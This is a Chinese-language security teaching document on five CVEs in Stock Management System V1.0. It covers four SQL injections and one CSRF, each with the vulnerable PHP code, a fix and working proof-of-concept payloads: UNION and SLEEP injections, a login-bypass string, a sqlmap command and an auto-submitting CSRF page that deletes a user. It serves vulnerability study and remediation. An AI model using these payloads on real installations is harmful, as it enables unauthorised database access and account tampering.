Stock Management System 漏洞复现及代码分析教学文档<\/h1>

环境搭建<\/h2>

系统要求<\/h3>

Stock Management System V1.0<\/li>
PHP 环境<\/li>

MySQL 数据库<\/li> <\/ul>

搭建步骤<\/h3>

导入SQL语句生成数据库表<\/strong><\/p>

执行提供的SQL脚本初始化数据库结构<\/li> <\/ul> <\/li>

修改配置文件<\/strong><\/p>

编辑 initialize.php<\/code> 文件，配置本地数据库连接信息<\/li> <\/ul> <\/li>
启动服务<\/strong><\/p> 部署到Web服务器（如Apache、Nginx）<\/li> 默认登录账号\/密码：admin\/admin123<\/code><\/li> <\/ul> <\/li> 验证安装<\/strong><\/p> 使用默认凭证登录系统确认环境正常<\/li> <\/ul> <\/li> <\/ol> 漏洞分析<\/h2> 漏洞1：CVE-2025-4786（SQL注入）<\/h3> 漏洞描述<\/h4> 影响文件<\/strong>：\/admin\/?page=return\/view_return<\/code><\/li> 漏洞参数<\/strong>：id<\/code>（GET参数）<\/li> 影响版本<\/strong>：Stock Management System V1.0<\/li> 风险等级<\/strong>：高危<\/li> <\/ul> 代码分析<\/h4> \/\/ 问题代码位置：\/admin\/?page=return\/view_return <\/span><\/span><\/span><\/span>$id =<\/span> $_GET['id'<\/span>]; <\/span><\/span>$sql =<\/span> "SELECT * FROM return_list WHERE id = <\/span>{<\/span>$id}<\/span>"<\/span>; <\/span><\/span>\/\/ 直接拼接用户输入到SQL语句，未做任何过滤 <\/span><\/span><\/span><\/code><\/pre>漏洞原理<\/h4> 攻击者可控的$_GET['id']<\/code>参数直接拼接到SQL查询语句<\/li> 未使用参数化查询或输入过滤<\/li> 可通过构造恶意payload执行任意SQL命令<\/li> <\/ul> 复现步骤<\/h4> 手工验证<\/strong><\/p> http:\/\/localhost\/admin\/?page=return\/view_return&id=1 UNION SELECT 1,database(),3,4,5,6,7,8,9,10 <\/code><\/pre> 成功回显当前数据库名称<\/li> <\/ul> <\/li> 工具验证<\/strong><\/p> 使用SQLMap等自动化工具进行检测<\/li> 命令示例：sqlmap -u "http:\/\/localhost\/admin\/?page=return\/view_return&id=1"<\/code><\/li> <\/ul> <\/li> <\/ol> 修复方案<\/h4> \/\/ 修复代码：使用预处理语句 <\/span><\/span><\/span><\/span>$stmt =<\/span> $conn-><\/span>prepare<\/span>("SELECT * FROM return_list WHERE id = ?"<\/span>); <\/span><\/span>$stmt-><\/span>bind_param<\/span>("i"<\/span>, $id); <\/span><\/span>$stmt-><\/span>execute<\/span>(); <\/span><\/span><\/code><\/pre>漏洞2：CVE-2025-4787（SQL注入）<\/h3> 漏洞描述<\/h4> 影响文件<\/strong>：\/admin\/?page=sales\/view_sale<\/code><\/li> 漏洞参数<\/strong>：id<\/code>（GET参数）<\/li> 影响版本<\/strong>：Stock Management System V1.0<\/li> <\/ul> 代码分析<\/h4> \/\/ 问题代码位置：\/admin\/?page=sales\/view_sale <\/span><\/span><\/span><\/span>$id =<\/span> $_GET['id'<\/span>]; <\/span><\/span>$sql =<\/span> "SELECT * FROM sales_list WHERE id = <\/span>{<\/span>$id}<\/span>"<\/span>; <\/span><\/span>\/\/ 直接拼接用户输入，存在SQL注入漏洞 <\/span><\/span><\/span><\/code><\/pre>漏洞验证<\/h4> 手工验证<\/strong> http:\/\/localhost\/admin\/?page=sales\/view_sale&id=1 AND (SELECT 1 FROM (SELECT SLEEP(5))a) <\/code><\/pre> 观察页面响应延迟确认漏洞存在<\/li> <\/ul> <\/li> <\/ol> 修复方案<\/h4> 同漏洞1，使用参数化查询替代字符串拼接。<\/p> 漏洞3：CVE-2025-4283（SQL注入）<\/h3> 漏洞描述<\/h4> 影响文件<\/strong>：\/classes\/login.php?f=login<\/code><\/li> 漏洞参数<\/strong>：username<\/code>（登录表单）<\/li> 影响版本<\/strong>：Stock Management System V1.0<\/li> <\/ul> 代码分析<\/h4> \/\/ 问题代码位置：\/classes\/login.php <\/span><\/span><\/span><\/span>$username =<\/span> $_POST['username'<\/span>]; <\/span><\/span>$password =<\/span> md5<\/span>($_POST['password'<\/span>]); <\/span><\/span>$sql =<\/span> "SELECT * FROM users WHERE username = '<\/span>{<\/span>$username}<\/span>' AND password = '<\/span>{<\/span>$password}<\/span>'"<\/span>; <\/span><\/span>\/\/ username参数未过滤，密码仅做MD5加密 <\/span><\/span><\/span><\/code><\/pre>漏洞原理<\/h4> 用户名参数直接拼接，密码参数经MD5加密后拼接<\/li> 攻击者可构造特殊用户名绕过认证<\/li> 示例payload：admin' OR '1'='1' -- <\/code><\/li> <\/ul> 漏洞验证<\/h4> 延时注入测试<\/strong> username: admin' AND (SELECT SLEEP(5)) -- password: 任意值 <\/code><\/pre> 观察登录过程是否产生5秒延迟<\/li> <\/ul> <\/li> <\/ol> 修复方案<\/h4> \/\/ 使用预处理语句 <\/span><\/span><\/span><\/span>$stmt =<\/span> $conn-><\/span>prepare<\/span>("SELECT * FROM users WHERE username = ? AND password = ?"<\/span>); <\/span><\/span>$stmt-><\/span>bind_param<\/span>("ss"<\/span>, $username, $hashed_password); <\/span><\/span><\/code><\/pre>漏洞4：CVE-2025-4267（SQL注入）<\/h3> 漏洞描述<\/h4> 影响文件<\/strong>：\/admin\/?page=purchase_order\/view_po<\/code><\/li> 漏洞参数<\/strong>：id<\/code>（GET参数）<\/li> 影响版本<\/strong>：Stock Management System V1.0<\/li> <\/ul> 代码分析<\/h4> \/\/ 问题代码位置：\/admin\/?page=purchase_order\/view_po <\/span><\/span><\/span><\/span>$id =<\/span> $_GET['id'<\/span>]; <\/span><\/span>$sql =<\/span> "SELECT * FROM purchase_order_list WHERE id = <\/span>{<\/span>$id}<\/span>"<\/span>; <\/span><\/span>\/\/ 直接拼接id参数，存在注入漏洞 <\/span><\/span><\/span><\/code><\/pre>漏洞验证<\/h4> 手工验证<\/strong> http:\/\/localhost\/admin\/?page=purchase_order\/view_po&id=1 UNION SELECT 1,database(),3,4,5,6,7,8,9,10 <\/code><\/pre> 成功回显数据库名称<\/li> <\/ul> <\/li> <\/ol> 修复方案<\/h4> 同其他SQL注入漏洞，使用参数化查询。<\/p> 漏洞5：CVE-2025-4282（CSRF）<\/h3> 漏洞描述<\/h4> 影响文件<\/strong>：\/classes\/Users.php?f=save<\/code><\/li> 漏洞类型<\/strong>：跨站请求伪造<\/li> 影响版本<\/strong>：Stock Management System V1.0<\/li> <\/ul> 代码分析<\/h4> \/\/ 问题代码1：删除用户功能 <\/span><\/span><\/span><\/span>function<\/span> delete_user<\/span>(){ <\/span><\/span> $id =<\/span> $_POST['id'<\/span>]; <\/span><\/span> $sql =<\/span> "DELETE FROM users WHERE id = <\/span>{<\/span>$id}<\/span>"<\/span>; <\/span><\/span> \/\/ 无CSRF Token验证 <\/span><\/span><\/span><\/span>} <\/span><\/span> <\/span><\/span>\/\/ 问题代码2：创建\/修改用户功能 <\/span><\/span><\/span><\/span>function<\/span> save_user<\/span>(){ <\/span><\/span> $data =<\/span> $_POST; <\/span><\/span> \/\/ 直接处理POST数据，无Token校验 <\/span><\/span><\/span><\/span>} <\/span><\/span><\/code><\/pre>漏洞原理<\/h4> 关键操作（删除用户、修改用户）未验证请求来源<\/li> 攻击者可构造恶意页面诱骗管理员点击<\/li> 管理员登录状态下访问恶意页面即可执行敏感操作<\/li> <\/ul> 漏洞验证<\/h4> 构造CSRF POC<\/strong><\/p> <html<\/span>> <\/span><\/span><body<\/span>> <\/span><\/span><form<\/span> action<\/span>=<\/span>"http:\/\/localhost\/classes\/Users.php?f=delete"<\/span> method<\/span>=<\/span>"POST"<\/span>> <\/span><\/span> <input<\/span> type<\/span>=<\/span>"hidden"<\/span> name<\/span>=<\/span>"id"<\/span> value<\/span>=<\/span>"2"<\/span> \/> <\/span><\/span><\/form<\/span>> <\/span><\/span><script<\/span>>document.forms<\/span>[0<\/span>].submit<\/span>();<\/script<\/span>> <\/span><\/span><\/body<\/span>> <\/span><\/span><\/html<\/span>> <\/span><\/span><\/code><\/pre><\/li> 验证步骤<\/strong><\/p> 管理员登录系统<\/li> 访问上述恶意页面<\/li> 检查用户ID=2是否被删除<\/li> <\/ul> <\/li> <\/ol> 修复方案<\/h4> \/\/ 添加CSRF Token验证 <\/span><\/span><\/span><\/span>session_start<\/span>(); <\/span><\/span> <\/span><\/span>\/\/ 生成Token <\/span><\/span><\/span><\/span>function<\/span> generate_csrf_token<\/span>() { <\/span><\/span> return<\/span> bin2hex<\/span>(random_bytes<\/span>(32<\/span>)); <\/span><\/span>} <\/span><\/span> <\/span><\/span>\/\/ 验证Token <\/span><\/span><\/span><\/span>function<\/span> validate_csrf_token<\/span>($token) { <\/span><\/span> return<\/span> isset<\/span>($_SESSION['csrf_token'<\/span>]) &&<\/span> hash_equals<\/span>($_SESSION['csrf_token'<\/span>], $token); <\/span><\/span>} <\/span><\/span> <\/span><\/span>\/\/ 在敏感操作前添加验证 <\/span><\/span><\/span><\/span>if<\/span> (!<\/span>validate_csrf_token<\/span>($_POST['csrf_token'<\/span>])) { <\/span><\/span> die<\/span>("CSRF token validation failed"<\/span>); <\/span><\/span>} <\/span><\/span><\/code><\/pre>综合修复建议<\/h2> 1. SQL注入防护<\/h3> 使用预处理语句<\/strong>：所有数据库操作均应使用PDO或MySQLi预处理<\/li> 输入验证<\/strong>：对用户输入进行严格的白名单验证<\/li> 最小权限原则<\/strong>：数据库用户仅授予必要权限<\/li> <\/ul> 2. CSRF防护<\/h3> Token验证<\/strong>：所有状态修改操作需验证CSRF Token<\/li> SameSite Cookie<\/strong>：设置Cookie的SameSite属性<\/li> 验证Referer<\/strong>：检查请求来源（辅助手段）<\/li> <\/ul> 3. 安全开发规范<\/h3> 代码审计<\/strong>：定期进行安全代码审查<\/li> 安全培训<\/strong>：提升开发人员安全意识<\/li> 依赖管理<\/strong>：及时更新第三方库修复已知漏洞<\/li> <\/ul> 总结<\/h2> 本教学文档详细分析了Stock Management System V1.0中存在的5个安全漏洞，包括4个SQL注入漏洞和1个CSRF漏洞。通过环境搭建、代码分析、漏洞复现和修复方案的全流程讲解，帮助安全研究人员深入理解Web应用常见漏洞的原理和防护方法。<\/p> 在实际开发中，应始终遵循安全编码规范，对用户输入保持不信任原则，采用防御性编程策略，从源头杜绝此类安全漏洞的产生。<\/p>